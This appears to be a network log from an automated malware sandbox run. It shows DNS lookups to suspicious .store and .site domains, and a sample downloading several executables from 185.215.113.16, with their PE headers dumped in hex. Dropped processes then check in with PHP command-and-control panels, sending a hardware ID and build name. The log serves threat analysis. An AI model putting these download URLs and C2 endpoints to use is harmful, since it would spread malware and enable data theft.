Oct 24, 2024 19:30:12.753539085 CEST	1.1.1.1	192.168.2.5	0x2722	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.767646074 CEST	1.1.1.1	192.168.2.5	0x916b	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.780713081 CEST	1.1.1.1	192.168.2.5	0x77d3	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.793698072 CEST	1.1.1.1	192.168.2.5	0x9903	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.804800987 CEST	1.1.1.1	192.168.2.5	0x9b26	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.817078114 CEST	1.1.1.1	192.168.2.5	0xd7a2	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.830203056 CEST	1.1.1.1	192.168.2.5	0x3301	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.841886044 CEST	1.1.1.1	192.168.2.5	0x9653	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.853566885 CEST	1.1.1.1	192.168.2.5	0x37ca	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.850267887 CEST	1.1.1.1	192.168.2.5	0x31cf	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.867825985 CEST	1.1.1.1	192.168.2.5	0x5e0e	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.884166956 CEST	1.1.1.1	192.168.2.5	0xd6c5	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.897999048 CEST	1.1.1.1	192.168.2.5	0x3fdc	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.912023067 CEST	1.1.1.1	192.168.2.5	0x1d61	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.925921917 CEST	1.1.1.1	192.168.2.5	0x5138	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.938956022 CEST	1.1.1.1	192.168.2.5	0xb1f	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.954775095 CEST	1.1.1.1	192.168.2.5	0x1364	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.969315052 CEST	1.1.1.1	192.168.2.5	0xad18	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:29.426135063 CEST	1.1.1.1	192.168.2.5	0x5444	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:30.568310022 CEST	1.1.1.1	192.168.2.5	0x899e	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:31.160754919 CEST	1.1.1.1	192.168.2.5	0xfbb3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 19:30:31.160754919 CEST	1.1.1.1	192.168.2.5	0xfbb3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:31.162035942 CEST	1.1.1.1	192.168.2.5	0xde0e	No error (0)	youtube.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:31.169790030 CEST	1.1.1.1	192.168.2.5	0xe8c4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:31.173506975 CEST	1.1.1.1	192.168.2.5	0xc758	No error (0)	youtube.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:31.180857897 CEST	1.1.1.1	192.168.2.5	0xead9	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 24, 2024 19:30:31.183139086 CEST	1.1.1.1	192.168.2.5	0xa1c9	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 24, 2024 19:30:34.171416044 CEST	1.1.1.1	192.168.2.5	0x416c	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.172019005 CEST	1.1.1.1	192.168.2.5	0xd2b	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.185281038 CEST	1.1.1.1	192.168.2.5	0x11b3	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.185281038 CEST	1.1.1.1	192.168.2.5	0x11b3	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.195487022 CEST	1.1.1.1	192.168.2.5	0x4a2d	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.242774963 CEST	1.1.1.1	192.168.2.5	0x4aae	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 19:30:34.242774963 CEST	1.1.1.1	192.168.2.5	0x4aae	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.243249893 CEST	1.1.1.1	192.168.2.5	0x4377	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 19:30:34.243249893 CEST	1.1.1.1	192.168.2.5	0x4377	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.252043009 CEST	1.1.1.1	192.168.2.5	0x49c6	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 19:30:34.252043009 CEST	1.1.1.1	192.168.2.5	0x49c6	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.291448116 CEST	1.1.1.1	192.168.2.5	0xd3b3	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.292905092 CEST	1.1.1.1	192.168.2.5	0x2be9	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.334280968 CEST	1.1.1.1	192.168.2.5	0x8134	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 19:30:34.334280968 CEST	1.1.1.1	192.168.2.5	0x8134	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 19:30:34.334280968 CEST	1.1.1.1	192.168.2.5	0x8134	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.363054037 CEST	1.1.1.1	192.168.2.5	0x5c41	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.430684090 CEST	1.1.1.1	192.168.2.5	0xb738	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 24, 2024 19:30:36.912051916 CEST	1.1.1.1	192.168.2.5	0x6158	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 19:30:37.172231913 CEST	1.1.1.1	192.168.2.5	0x8b01	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 19:30:37.172231913 CEST	1.1.1.1	192.168.2.5	0x8b01	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 19:30:37.172231913 CEST	1.1.1.1	192.168.2.5	0x8b01	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:37.181765079 CEST	1.1.1.1	192.168.2.5	0x10e6	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.153491020 CEST	1.1.1.1	192.168.2.5	0x4789	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.251930952 CEST	1.1.1.1	192.168.2.5	0x967	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 19:31:01.251930952 CEST	1.1.1.1	192.168.2.5	0x967	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.887234926 CEST	1.1.1.1	192.168.2.5	0xb02f	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.888763905 CEST	1.1.1.1	192.168.2.5	0xb02f	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.918138981 CEST	1.1.1.1	192.168.2.5	0x745e	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 19:31:01.918138981 CEST	1.1.1.1	192.168.2.5	0x745e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.950234890 CEST	1.1.1.1	192.168.2.5	0x9e3e	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.964442968 CEST	1.1.1.1	192.168.2.5	0x3fa	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.978856087 CEST	1.1.1.1	192.168.2.5	0xd295	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.992244005 CEST	1.1.1.1	192.168.2.5	0x75ab	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:02.005460978 CEST	1.1.1.1	192.168.2.5	0x6a27	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:02.021724939 CEST	1.1.1.1	192.168.2.5	0x1d18	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:02.049287081 CEST	1.1.1.1	192.168.2.5	0xf9e	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:02.063972950 CEST	1.1.1.1	192.168.2.5	0xf9e	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:02.080039024 CEST	1.1.1.1	192.168.2.5	0x99a0	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:18.024552107 CEST	1.1.1.1	192.168.2.5	0x486a	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 19:31:18.024552107 CEST	1.1.1.1	192.168.2.5	0x486a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:19.753034115 CEST	1.1.1.1	192.168.2.5	0x613d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 19:31:19.753034115 CEST	1.1.1.1	192.168.2.5	0x613d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49725	185.215.113.16	80	4500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:29:22.494518995 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 19:29:23.405040026 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:29:23 GMT Content-Type: application/octet-stream Content-Length: 1934848 Last-Modified: Thu, 24 Oct 2024 17:07:23 GMT Connection: keep-alive ETag: "671a7ecb-1d8600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@L@WkjLjL @.rsrc@.idata @ P+@dpbwynirp2l@gxdcsuckpL`@.taggant0L"d@
Oct 24, 2024 19:29:23.405097961 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:29:23.405133963 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:29:23.405173063 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:29:23.405225039 CEST	848	IN	Data Raw: ae 13 65 73 5f c1 95 3d 00 f4 78 6f a3 f8 f6 d9 50 a0 dd 2e d9 4e a4 e1 71 6e 00 94 6e d2 f4 be 12 16 88 e8 0f d6 70 b3 6b dd 58 b1 ef ef 67 d7 bf de b4 f3 bb fc 23 5e 11 df e4 42 69 41 f5 dd ef 52 49 a2 87 9d 19 df 61 21 f3 b0 2f df 2c a5 60 7d Data Ascii: es_=xoP.NqnnpkXg#^BiARIa!/,`}>NgH2R@\PS/'.SsOkn2nWvR9>OR>.Ynlcwoe1"uWDwRaEGo^HZ&k
Oct 24, 2024 19:29:23.405287981 CEST	1236	IN	Data Raw: 63 7d f7 3e 51 01 e0 96 63 8e 55 8f c3 fa 5d fe 47 fe 18 59 53 55 5d 77 ca 56 d1 9e cf 3d 5d ff 81 c1 8d d6 3f e2 04 8f 50 12 08 90 8e de c4 f7 12 28 3f 4f 42 ee f0 a2 63 fd f5 be 2a e0 87 85 c0 6e 59 b6 5f 82 01 b7 4e 12 85 91 d2 ec 16 ff 50 1a Data Ascii: c}>QcU]GYSU]wV=]?P(?OBc*nY_NP.0~+GT5`!NHR?iuS,._Zdw2c^Qk^"ZH:NXOaYR'bZsWwR_}]?mP/Y)
Oct 24, 2024 19:29:23.405323029 CEST	212	IN	Data Raw: 4b 96 25 84 27 f2 d2 c1 94 8d ba 65 b3 dd b3 b4 12 43 7b 7a ba a6 d7 fb b3 12 5c 62 1c 6e 97 9a 00 51 e0 66 42 40 f5 7c 04 8c e1 68 50 14 ad ad f9 08 21 40 c3 96 e4 b1 40 d6 3a f8 53 d6 9a b3 0c d0 94 5a 58 64 e6 a6 18 49 53 55 28 af 7d 24 47 bd Data Ascii: K%'eC{z\bnQfB@\|hP!@@:SZXdISU(}$GducgHQR3Pi/JGk^k zLwD6C0^K~VsWskx7Jx2O}'J
Oct 24, 2024 19:29:23.405355930 CEST	1236	IN	Data Raw: ed 7f 9f fc 4e de 4e f3 bf 66 9c 76 07 ff c7 6b be a0 b7 cd 75 61 7d bf 87 51 ed 1a 50 e6 52 37 07 ef 1b 73 c5 df 1c f2 c6 b1 9c bb 7d 98 b0 91 50 e2 b0 7e 93 20 b9 10 c7 96 75 7f f9 97 e6 56 c2 82 39 7f 61 23 81 80 46 d7 dc ff 67 4f 6d 7d b3 5d Data Ascii: NNfvkua}QPR7s}P~ uV9a#FgOm}][]Q1`EUJaW\|".^113Ys'\|Awv{SvRT[/V{0{)+G\|(}+5ab<+?zpf z G^
Oct 24, 2024 19:29:23.405405045 CEST	1236	IN	Data Raw: 90 24 22 d4 5a 43 40 90 23 6b 7a 70 c6 da 0c 8f f3 43 e3 88 4e ed 54 80 41 24 28 57 05 59 28 b4 d7 05 0a e3 2c 17 2b 28 05 b6 06 e1 80 fe 23 0c ec 1a 37 a1 dd 29 16 17 46 f2 73 ff d4 13 6e b7 45 61 39 fc 9a 96 57 16 c8 80 d9 e8 f0 7e 75 7d 64 1f Data Ascii: $"ZC@#kzpCNTA$(WY(,+(#7)FsnEa9W~u}d6@bE+HS7XD?*R$F6{^rbwxcNI7v]L^lCAKav_SP[$k^aXqBK}~Kz1gNl4Mi}FBb ,
Oct 24, 2024 19:29:23.405440092 CEST	1236	IN	Data Raw: 09 59 06 8b 48 f3 60 8c 8e 3f 5e f2 38 da 8e ee 44 43 3c 5a 46 f3 fd 70 c7 d2 07 2f 83 4f 7e 7e d3 a9 ca 9d ec 37 56 df 7f ee 0c 71 d4 52 ee 92 f8 1f 52 a4 aa b5 62 f6 ed 6b 05 97 bb 0d d7 1f 6c 2b 62 bc 1e 0c ee 6f 75 ee 0b 2a 3a 26 1f a8 d6 66 Data Ascii: YH`?^8DC<ZFp/O~~7VqRRbkl+bou:&f:k]Kry(,d!p9b#ua+Z#pfW`f'lz%E#^0'[2\|"3L89hl}CZlMe{(\|f{e#
Oct 24, 2024 19:29:23.410974979 CEST	1236	IN	Data Raw: 20 d5 84 7b 4f 0e 9e 99 18 4e e2 31 70 56 f3 c2 c4 16 4a 4d 8e d0 c9 9c 2a f2 16 8f 54 f8 1c 38 44 c7 9c b6 d8 29 b3 a0 46 0d 15 6e 4d 59 9d 9a 0d 18 26 b4 ab 47 0f f7 31 ca 94 1a 41 d5 37 ca 33 69 c1 f5 9d fb c6 ed 71 1e e5 d6 f3 e4 27 65 9d 19 Data Ascii: {ON1pVJM*T8D)FnMY&G1A73iq'ecU;nD{y4d~ oN^^Ne`a/7Wqn+f:@eUnwdHrOnVT] 1>n\|V]eI'?Cfwa\E^ckW9Y
Oct 24, 2024 19:29:26.781837940 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 19:29:27.063992023 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:29:26 GMT Content-Type: application/octet-stream Content-Length: 1852928 Last-Modified: Thu, 24 Oct 2024 17:07:16 GMT Connection: keep-alive ETag: "671a7ec4-1c4600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 f0 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 6a 00 00 04 00 00 55 88 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@ jU@P%d% %(@.rsrc %8@.idata %8@ *%:@ffngccgeO<@atmmyeyli @.taggant0i"$@
Oct 24, 2024 19:29:29.015763044 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 19:29:29.298609972 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:29:29 GMT Content-Type: application/octet-stream Content-Length: 2780160 Last-Modified: Thu, 24 Oct 2024 16:45:44 GMT Connection: keep-alive ETag: "671a79b8-2a6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 b8 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@fekqellx :@rtvnkudg F@.taggant@"J*@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49774	185.215.113.37	80	2680	C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:29:31.697324038 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 19:29:32.615942955 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:29:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 19:29:32.619234085 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHI Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="hwid"A48588DEC639786254513------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="build"doma------EHDHDHIECGCAEBFIIDHI--
Oct 24, 2024 19:29:32.899425983 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:29:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49942	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:03.646342993 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 19:30:04.565598011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
